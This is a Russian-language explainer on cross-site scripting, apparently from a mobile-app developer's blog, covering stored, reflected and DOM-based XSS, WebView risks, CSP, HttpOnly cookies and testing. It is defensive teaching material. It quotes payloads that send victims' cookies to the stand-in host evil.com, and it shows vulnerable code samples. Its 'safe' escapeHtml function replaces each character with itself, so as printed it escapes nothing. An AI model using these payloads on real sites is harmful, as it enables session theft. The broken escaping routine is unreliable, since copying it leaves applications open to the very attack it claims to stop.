XSS (Cross-Site Scripting) — тип уязвимости веб-приложений, при которой злоумышленник внедряет вредоносный JavaScript-код в контент, отображаемый другим пользователям. По данным OWASP Top Ten (2025), XSS остаётся одной из самых распространённых уязвимостей, затрагивающих более 60% веб-приложений. Межсайтовый скриптинг позволяет красть сессионные cookie, перенаправлять пользователей на фишинговые сайты и модифицировать содержимое страниц в реальном времени.
Главное
XSS (Cross-Site Scripting) — это уязвимость, позволяющая злоумышленнику внедрить JavaScript-код в веб-страницу, которая затем выполняется в браузере жертвы. Браузер загружает страницу с доверенного сайта и выполняет внедрённый скрипт с теми же правами, что и легитимный код сайта. Это даёт атакующему доступ к cookie, session storage, DOM-дереву страницы и возможность отправлять запросы от имени жертвы. XSS-уязвимости возникают, когда приложение вставляет пользовательские данные в HTML-страницу без надлежащего экранирования или валидации.
Впервые термин Cross-Site Scripting появился в 2000 году в Microsoft Security Bulletin. За прошедшие 25 лет XSS не утратил актуальности: по данным HackerOne (2025), XSS составляет около 22% всех зарегистрированных уязвимостей на платформе. Причина живучести XSS — сложность контроля всех точек входа пользовательских данных. Любое поле ввода, URL-параметр, заголовок HTTP-запроса или имя файла может стать вектором атаки, если данные отражаются в HTML-коде без обработки.
XSS-атаки могут привести к краже сессионных cookie, что позволяет злоумышленнику войти в аккаунт жертвы без пароля. Другие последствия: перенаправление на фишинговые сайты, подмена содержимого страницы, кража личных данных, установка вредоносного ПО (drive-by download). В 2023 году атака через XSS на платформу Salesforce Community Cloud затронула данные тысяч корпоративных клиентов, продемонстрировав, что даже крупные платформы не застрахованы от этой уязвимости.
Классификация XSS делит атаки на три основных типа по способу доставки вредоносного кода. Каждый тип требует разного подхода к защите: Stored XSS блокируется экранированием вывода из БД, Reflected — экранированием URL-параметров, DOM-based — безопасной работой с DOM-API. Понимание разницы — основа эффективной стратегии безопасности.
| Тип | Хранение скрипта | Вектор доставки | Сложность обнаружения |
|---|---|---|---|
| Stored XSS | База данных сервера | Комментарии, профили, сообщения | Средняя |
| Reflected XSS | URL-параметры | Фишинговые ссылки, email | Высокая |
| DOM-based XSS | Клиентский JavaScript | URL-фрагменты, postMessage | Очень высокая |
Самый опасный тип XSS. Злоумышленник внедряет скрипт в данные, которые сервер хранит в базе данных и отображает при каждой загрузке страницы. Типичный вектор — поле комментария: злоумышленник публикует комментарий с <script>document.location='https://evil.com/?c='+document.cookie</script>. Каждый пользователь, загрузивший страницу с этим комментарием, отправляет свои cookie злоумышленнику. Stored XSS не требует от жертвы никаких действий, кроме посещения страницы — это делает его особенно опасным для социальных сетей, форумов и блогов.
Вредоносный скрипт передаётся в HTTP-запросе (обычно в URL-параметре) и сразу отражается сервером в ответе. Злоумышленник создаёт ссылку вида https://example.com/search?q=<script>...</script> и распространяет её через phishing, социальные сети или email. Жертва, перейдя по ссылке, получает страницу, где введённый поисковый запрос (скрипт) отображается без экранирования. Reflected XSS требует социальной инженерии — жертва должна кликнуть на ссылку, что снижает, но не устраняет риск.
В отличие от Stored и Reflected, DOM-based XSS не требует отправки данных на сервер. Уязвимость возникает, когда клиентский JavaScript вставляет пользовательские данные из URL, document.referrer, postMessage или localStorage в DOM без безопасной обработки. Например, код вида document.getElementById('output').innerHTML = location.hash.substring(1) выполняет любой HTML и скрипты из URL-фрагмента (#<img onerror='...'>). DOM-based XSS сложнее всего обнаружить, так как сервер никогда не получает вредоносный payload — он полностью обрабатывается на клиенте.
// Пример DOM-based XSS (УЯЗВИМЫЙ КОД)
// Если userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — опасный: вставляет сырой HTML
document.write('<div>' + userInput + '</div>');
// БЕЗОПАСНАЯ АЛЬТЕРНАТИВА — используйте textContent
document.getElementById('output').textContent = userInput;
XSS-атака эксплуатирует фундаментальное свойство веба: браузер выполняет JavaScript, полученный с доверенного домена. Если злоумышленник находит способ внедрить свой код в HTML-ответ сервера, браузер выполняет его с теми же привилегиями, что и легитимный код. Атака проходит три фазы: внедрение вредоносного кода в контент, доставка контента в браузер жертвы и выполнение кода с доступом к DOM, cookie и storage.
Злоумышленник находит точку входа — поле, URL-параметр или заголовок, значение которого сервер включает в HTML-ответ без экранирования. Типичные точки входа: поисковые строки, поля комментариев, имя пользователя, аватар URL, файлы cookie, HTTP-заголовки (User-Agent, Referer). Современные фреймворки (React, Angular, Vue) автоматически экранируют вывод, но разработчики могут отключить экранирование через dangerouslySetInnerHTML, bypassSecurityTrustHtml или v-html.
Для Reflected XSS злоумышленник распространяет вредоносную ссылку. Для Stored XSS достаточно опубликовать контент на целевом сайте, и каждый посетитель страницы становится жертвой. DOM-based XSS активируется при загрузке страницы с определённым URL-фрагментом. Все три фазы могут выполняться автоматически: если XSS обнаружен в рекламном баннере (третьесторонний контент), атака затронет всех пользователей сайта, пока баннер не отключат.
// Пример Reflected XSS в поиске (УЯЗВИМЫЙ БЭКЕНД)
// Вместо экранирования параметра q, сервер вставляет его в HTML
// Express.js — уязвимый обработчик:
app.get('/search', (req, res) => {
const query = req.query.q; // пользовательский ввод
res.send(`<h1>Results for: ${query}</h1>`);
});
// БЕЗОПАСНАЯ ВЕРСИЯ — экранирование через encodeURI или шаблонизатор:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Мобильные приложения также подвержены XSS-атакам, хотя и в меньшей степени, чем веб-сайты. Основной вектор — WebView и гибридные фреймворки (Cordova, Capacitor, React Native с WebView). Если приложение загружает веб-контент в WebView — особенно пользовательский контент (HTML-email, статьи, сообщения) — XSS-уязвимость может привести к выполнению JavaScript внутри приложения с доступом к нативным функциям через JavaScript-бридж.
Android WebView выполняет JavaScript по умолчанию. Если приложение загружает HTML-строку через loadDataWithBaseURL() или отображает пользовательский контент, XSS-атака может дать злоумышленнику доступ к JavaScript-интерфейсу (addJavascriptInterface). Google запретил использование @JavascriptInterface для API < 17, но legacy-код в старых приложениях всё ещё встречается. Защита: отключайте JavaScript в WebView, если он не нужен, и используйте safe browsing.
React Native не использует WebView для UI — компоненты рендерятся в нативные вью. Однако при отображении HTML через react-native-webview или rich-text компоненты XSS-риск возвращается. Flutter использует собственный движок рендеринга (Skia) и не поддерживает JavaScript в HTML-виджетах (flutter_html не выполняет script-теги), но WebView-плагины (webview_flutter) уязвимы аналогично нативным WebView. Лучшая практика — никогда не передавать непроверенный HTML в WebView.
// Безопасная настройка WebView в Android
val webView = findViewById<WebView>(R.id.webview)
// Отключаем JavaScript, если интерактив не нужен
webView.settings.javaScriptEnabled = false
// Санитируем HTML перед загрузкой
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Защита от XSS строится на трёх принципах: не доверяй пользовательскому вводу, экранируй перед выводом, используй Content Security Policy. Экранирование вывода (output encoding) — самый важный метод: все данные, полученные от пользователя, должны экранироваться перед вставкой в HTML, JavaScript, CSS или URL. Современные шаблонизаторы (Twig, Handlebars, JSX, Blade) делают это автоматически, если разработчик не отключает экранирование специальными методами.
Экранирование зависит от контекста вставки данных. В HTML-контексте экранируются <, >, &, кавычки. В JavaScript-контексте экранируются обратные кавычки, \n, </script>. В CSS-контексте — управляющие символы. В URL-контексте — URL-encoding. Ошибка контекста — например, вставка HTML-экранированной строки в атрибут onclick — не защищает от XSS, так как onclick выполняется в JavaScript-контексте, где нужна другая экранировка.
CSP — HTTP-заголовок, ограничивающий источники, с которых браузер может загружать скрипты, стили и другие ресурсы. Строгая CSP (без unsafe-inline, без unsafe-eval) блокирует выполнение любых inline-скриптов, включая XSS-векторы. По данным Google Security Blog (2025), сайты с CSP блокируют 95% XSS-атак. Пример: Content-Security-Policy: default-src 'self'; script-src 'self' запрещает любые внешние и inline-скрипты. CSP не защищает от Stored XSS, если скрипт загружается с того же домена, но это требует дополнительных усилий от злоумышленника.
Установка флага HttpOnly для cookie предотвращает доступ к ним через JavaScript (document.cookie), что блокирует кражу сессионных cookie через XSS. Флаг Secure гарантирует, что cookie передаётся только по HTTPS. Комбинация HttpOnly + Secure + SameSite=Lax делает кражу сессионных cookie через XSS практически невозможной. Однако XSS всё ещё может выполнять действия от имени пользователя (например, отправлять запросы), поэтому HttpOnly — не панацея, а часть комплексной защиты.
| Метод защиты | От каких типов XSS защищает | Эффективность |
|---|---|---|
| Экранирование вывода | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly cookie | Кража сессий через XSS | 100% (не читаются) |
| Валидация ввода | Stored, Reflected | 50% (зависит от типа) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Регулярное тестирование на XSS — обязательная часть CI/CD пайплайна безопасной разработки. Автоматизированные сканеры находят до 80% XSS-уязвимостей, остальные требуют ручного пентеста. Лучший подход — комбинация SAST-анализа (статического), DAST-сканирования (динамического) и code review с фокусом на точки ввода пользовательских данных.
Для мобильных приложений тестирование XSS включает анализ WebView: проверку JavaScript-интерфейсов, обработку URL-схем и передачу HTML в loadDataWithBaseURL. Рекомендуется также тестировать обработку postMessage в гибридных приложениях и проверять, какие данные передаются через JavaScript-бридж. Используйте эмулятор с прокси (Burp Suite) для перехвата и модификации трафика мобильного приложения.
Часто задаваемые вопросы
Stored XSS хранит вредоносный скрипт на сервере (в БД) и срабатывает при любой загрузке страницы. Reflected XSS передаёт скрипт через URL-параметр, и атака срабатывает только при переходе по вредоносной ссылке. Stored опаснее, так как не требует действий жертвы — достаточно просто открыть заражённую страницу.
Нет, HTTPS не защищает от XSS. HTTPS шифрует трафик между браузером и сервером, но не влияет на обработку пользовательского ввода на серверной стороне. XSS-уязвимость существует на уровне приложения, а не транспорта. HTTPS — обязательный минимум безопасности, но не защита от XSS.
В большинстве случаев XSS выполняется в песочнице браузера или WebView и не имеет доступа к файловой системе или оборудованию устройства. Однако в Android WebView с включённым JavaScript-интерфейсом XSS-скрипт может вызвать нативные методы приложения. В iOS WKWebView также может раскрыть данные через JavaScriptCore, если настроен соответствующий мост.
Используйте Burp Suite или OWASP ZAP с настроенным прокси на мобильном устройстве. Перехватывайте запросы приложения, модифицируйте параметры и передавайте XSS-payloads. Проверяйте WebView на обработку HTML через loadDataWithBaseURL и наличие JavaScript-бриджей. Для React Native тестируйте WebView-компоненты отдельно.
DOM-based XSS — это атака, при которой JavaScript на странице сам берёт данные из URL или других источников и вставляет их в HTML без проверки. Сервер не участвует — вредоносный код обрабатывается полностью в браузере. Типичный пример: сайт берёт текст из location.hash и вставляет его через innerHTML, что позволяет выполнить любой HTML-код.
Итоги
Мы разработаем мобильное приложение под ключ
IT Sectr создаёт приложения для iOS и Android для стартапов и бизнеса с 2017 года. Мы проконсультируем вас и предложим наилучшее решение.
Читайте также